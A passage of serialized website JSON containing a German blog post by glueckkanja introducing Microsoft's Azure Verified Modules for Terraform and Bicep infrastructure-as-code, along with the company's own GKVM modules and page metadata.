Management",[8972,8973],{"text":765,"href":1794,"details":1795,"icon":1796},{"text":1798,"href":1799,"icon":1800},{"ctaText":1802,"cta":8975,"method":1074,"action":1805,"fields":8976},{"skin":1804},[8977,8978,8979,8980,8981,8982,8984,8985],{"type":1808,"id":1809,"value":1810},{"label":1812,"type":1813,"id":1814,"required":511,"requiredMsg":1815},{"label":1817,"type":1813,"id":615,"required":511,"requiredMsg":1818},{"label":1977,"type":1821,"id":1821,"required":511,"requiredMsg":1822},{"label":1980,"type":1830,"id":1831,"required":511,"requiredMsg":1832},{"type":1808,"id":1839,"value":8983},"Form: Blog Azure Verified Modules | DE",{"type":1808,"id":1842,"value":1843},{"type":1808,"id":1845},[8987,8989],{"lang":1088,"href":8988},"/en/posts/2025-08-27-azure-monitor",{"lang":1091,"href":8990},"/es/posts/2025-08-27-azure-monitor",{"noMargin":511},{"slick":511},"/posts/2025-08-27-azure-monitor",{"title":8856,"description":1062},"posts/2025-08-27-azure-monitor",[8997,8998,8999],"Azure Verified Modules","Terraform","Azure Automation","eSYmz0BFLx5zlMzuiwYE_M5fTQugOJ3pfYXQRx7v0A0",{"id":9002,"title":9003,"author":9004,"body":9005,"cta":767,"description":1062,"eventid":767,"extension":1073,"hideInRecent":752,"layout":1074,"meta":9170,"moment":9172,"navigation":511,"path":9203,"seo":9204,"stem":9205,"tags":9206,"webcast":752,"__hash__":9208},"content_de/posts/2025-07-22-azure-certified-modules.md","Next Level Azure IaC: Azure Verified Modules",[1355],{"type":806,"value":9006,"toc":9163},[9007,9011,9013,9022,9025,9036,9039,9042,9050,9054,9056,9059,9062,9076,9079,9082,9086,9088,9091,9095,9097,9100,9103,9106,9126,9129,9137,9140,9144],[809,9008,9010],{"id":9009},"azure-verified-module-iac-nach-microsoft-best-practices","Azure Verified Module - IaC nach Microsoft Best Practices",[814,9012,816],{},[814,9014,9015,9016,9021],{},"Microsoft hat sich das Thema zur Brust genommen und mit den ",[821,9017,9020],{"href":9018,"rel":9019},"https://azure.github.io/Azure-Verified-Modules/",[825],"Azure Verified Modules (AVM)"," ein Framework zum strukturierten Deployment von Ressourcen in Azure nach Best Practices geschaffen.",[814,9023,9024],{},"AVM gibt es in drei verschiedenen Varianten:",[965,9026,9027,9030,9033],{},[970,9028,9029],{},"Resource Modules - Deployment einer definierten Cloud Ressource",[970,9031,9032],{},"Pattern Modules - Deployment eines definierten Cloud Workloads",[970,9034,9035],{},"Utility Modules - Hilfsmodule, welche von Resource oder Pattern Modules verwendet werden",[814,9037,9038],{},"Um einen einheitlichen Standard sicherzustellen, hat Microsoft eine Reihe von Vorgaben festgelegt, die jede neue AVM-Ressource einhalten muss. Diese Aussage trifft sowohl auf Terraform als auch auf die eigene IaC-Sprache Bicep von Microsoft Azure zu.",[814,9040,9041],{},"Jedem AVM ist ein spezifischer Mitarbeiter von Microsoft zugewiesen, der für die Erstellung, Weiterentwicklung und Bearbeitung von Problemen verantwortlich ist.",[814,9043,9044,9045,9049],{},"Sämtliche verfügbaren Module sind als Open Source (MIT-Lizenz) in öffentlichen GitHub-Repositories der allgemeinen ",[821,9046,9048],{"href":9047},"https://github.com/Azure","Azure GitHub Organisation"," ugänglich. Falls ein Modul Schwierigkeiten bereitet oder ein neuer Parameter nicht vorhanden ist, hat jeder die Möglichkeit, ein Problem zu melden oder aktiv an der Entwicklung mitzuwirken.",[809,9051,9053],{"id":9052},"wie-fängt-man-mit-avm-an","Wie fängt man mit AVM an?",[814,9055,816],{},[814,9057,9058],{},"AVM funktionieren wie alle anderen Module in Terraform oder Bicep; sie werden unabhängig aufgerufen und erhalten sämtliche erforderlichen Parameter. Die Vorgaben zur Erstellung von AVMs führen dazu, dass die notwendigen Parameter auf ein Minimum reduziert werden, um einen unkomplizierten Einstieg zu gewährleisten.",[814,9060,9061],{},"Beispiel Terraform: Für das Deployment einer virtuellen Maschine mit zusätzlicher Data Disk werden mindestens folgende Ressourcen in Azure benötigt:",[965,9063,9064,9067,9070,9073],{},[970,9065,9066],{},"azurerm_windows_virtual_machine oder azurerm_linux_virtual_machine",[970,9068,9069],{},"azurerm_network_interface",[970,9071,9072],{},"azurerm_managed_disk",[970,9074,9075],{},"azurerm_virtual_machine_data_disk_attachment\u003C",[814,9077,9078],{},"Jede dieser Ressourcen hat gewisse erforderliche Parameter, die oft wiederkehren, wie beispielsweise der Name der Ressourcengruppe, die Zielregion der die Bezeichnung der eigentlichen Ressource.",[814,9080,9081],{},"Mit AVM wird der Aufruf im eigenen Code auf eine einzige Ressource mit den erforderlichen Parametern vereinfacht, die anschließend im Modul weiterverarbeitet werden. Da AVM die häufigsten Microsoft Best Practices bereits integriert, sind zahlreiche Parameter mit Standardwerten versehen, wodurch eine zusätzliche Konfiguration entfällt. Ein Beispiel hierfür ist bei vielen Modulen die Festlegung von TLS 1.2 als Standardwert oder die Blockierung des öffentlichen Zugriffs.",[809,9083,9085],{"id":9084},"was-mache-ich-wenn-es-noch-kein-avm-für-meine-ressource-gibt","Was mache ich, wenn es noch kein AVM für meine Ressource gibt?",[814,9087,816],{},[814,9089,9090],{},"Die Open Source Lizenz von AVM ermöglicht es, auf Grundlage des Frameworks eigenständig mit der Entwicklung zu beginnen. Falls ein Mitarbeiter von Microsoft zu einem späteren Zeitpunkt die Erstellung einer offiziellen AVM-Ressource in Angriff nimmt, besteht die Möglichkeit, ganz im Sinne von Open Source, durch die bereits geleistete Vorarbeit zu unterstützen.",[809,9092,9094],{"id":9093},"gkvm-glueckkanja-️-open-source","GKVM - glueckkanja ❤️ Open Source",[814,9096,816],{},[814,9098,9099],{},"Wir bei glueckkanja folgen genau diesem Ansatz und unterstützen unsere Kunden auch bei der Entwicklung von Modulen, die auf dem AVM-Framework basieren und anschließend der Öffentlichkeit zugänglich gemacht werden.",[814,9101,9102],{},"Wir bezeichnen diese Module als GKVM (GlueckKanja Verified Modules), weil sie nicht nur die Vorgaben der AVM berücksichtigen, sondern auch unsere persönlichen Erkenntnisse aus zahlreichen Projekten einfließen lassen.",[814,9104,9105],{},"GKVM Resouce Modules:",[965,9107,9108,9114,9120],{},[970,9109,9110],{},[821,9111,9113],{"href":9112},"https://registry.terraform.io/modules/glueckkanja/gkvm-res-synapse-workspace/azurerm/latest","Azure Synapse Workspace",[970,9115,9116],{},[821,9117,9119],{"href":9118},"https://registry.terraform.io/modules/glueckkanja/gkvm-res-iot-hub/azurerm/latest","Azure IoT Hub",[970,9121,9122],{},[821,9123,9125],{"href":9124},"https://registry.terraform.io/modules/glueckkanja/gkvm-res-messaging-eventgridsystemtopic/azurerm/latest","Azure Event Grid System Topic",[814,9127,9128],{},"GKVM Pattern Modules:",[965,9130,9131],{},[970,9132,9133],{},[821,9134,9136],{"href":9135},"https://registry.terraform.io/modules/glueckkanja/gkvm-ptn-myworkid/azurerm/latest","My WorkId",[814,9138,9139],{},"Wir freuen uns über jedes Issue, das hilft, die Module mit weiteren Funktionen auszubauen!",[809,9141,9143],{"id":9142},"weiterführende-ressourcen","Weiterführende Ressourcen",[965,9145,9146,9151,9157],{},[970,9147,9148],{},[821,9149,9150],{"href":320},"glueckkanja Azure Foundation",[970,9152,9153],{},[821,9154,9156],{"href":9155},"/de/posts/2023-04-14-workload-management-with-azure-foundation","Azure Foundation: Effizientes Cloud-Management mit Terraform",[970,9158,9159],{},[821,9160,574],{"href":9161,"rel":9162},"https://www.terraprovider.com/",[825],{"title":1062,"searchDepth":1063,"depth":1063,"links":9164},[9165,9166,9167,9168,9169],{"id":9009,"depth":1063,"text":9010},{"id":9052,"depth":1063,"text":9053},{"id":9084,"depth":1063,"text":9085},{"id":9093,"depth":1063,"text":9094},{"id":9142,"depth":1063,"text":9143},{"lang":4,"seoTitle":9171,"titleClass":1077,"date":9172,"categories":9173,"blogtitlepic":9174,"socialimg":9175,"customExcerpt":9176,"keywords":9177,"contactInContent":9178,"hreflang":9196,"footer":9201,"scripts":9202},"Azure Verified Modules: Standardisiertes Infrastructure as Code mit Terraform & Bicep","2025-07-22",[199],"head-azure-certified.png","/blog/heads/head-azure-certified.png","Infrastructure-as-Code (IaC), insbesondere mit Terraform, ist ein wesentlicher Bestandteil unserer Azure Foundation und ein grundlegendes Element jeder Cloud-Transformation. Ein strukturierter Einsatz von IaC beschleunigt die Adaption von Cloudservices sowie die Entwicklung neuer Produkte. Hier stellt sich nun die Frage: Wie fängt man am besten an?","Azure Verified Modules, AVM, Infrastructure as Code, IaC, Terraform, Bicep, Microsoft Best Practices, Azure Module Deployment, Azure Foundation, Open Source Azure, Azure IaC, Azure Automation, Azure Ressourcen automatisch deployen",{"quote":752,"infos":9179},{"bgColor":1780,"color":1781,"boxBgColor":764,"boxColor":1781,"headline":7452,"subline":9180,"level":809,"textStyling":1784,"flush":1785,"person":9181,"form":9185},"Möchtet ihr mehr über Infrastructure as Code auf Azure erfahren? Wir zeigen euch gerne, wie ihr mit Azure Verified Modules schneller, standardisierter und nachhaltiger in der Cloud arbeitet. Ob erster Einstieg oder skalierbare Implementierung, wir unterstützen euch mit Erfahrung und Best Practices. Wir freuen uns auf eure Kontaktaufnahme!",{"image":8969,"cloudinary":511,"alt":8970,"name":8970,"detailsHeader":1791,"details":9182},[9183,9184],{"text":765,"href":1794,"details":1795,"icon":1796},{"text":1798,"href":1799,"icon":1800},{"ctaText":1802,"cta":9186,"method":1074,"action":1805,"fields":9187},{"skin":1804},[9188,9189,9190,9191,9192,9193,9194,9195],{"type":1808,"id":1809,"value":1810},{"label":1812,"type":1813,"id":1814,"required":511,"requiredMsg":1815},{"label":1817,"type":1813,"id":615,"required":511,"requiredMsg":1818},{"label":1977,"type":1821,"id":1821,"required":511,"requiredMsg":1822},{"label":1980,"type":1830,"id":1831,"required":511,"requiredMsg":1832},{"type":1808,"id":1839,"value":8983},{"type":1808,"id":1842,"value":1843},{"type":1808,"id":1845},[9197,9199],{"lang":1088,"href":9198},"/en/posts/2025-07-22-azure-certified-modules",{"lang":1091,"href":9200},"/es/posts/2025-07-22-azure-certified-modules",{"noMargin":511},{"slick":511},"/posts/2025-07-22-azure-certified-modules",{"title":9003,"description":1062},"posts/2025-07-22-azure-certified-modules",[9207,8997,8998,8999],"Infrastructure as Code","swnWqk1pZPHuImcI-TCyeAh_wXbDNYPxbQdnrMr5has",1784904972129]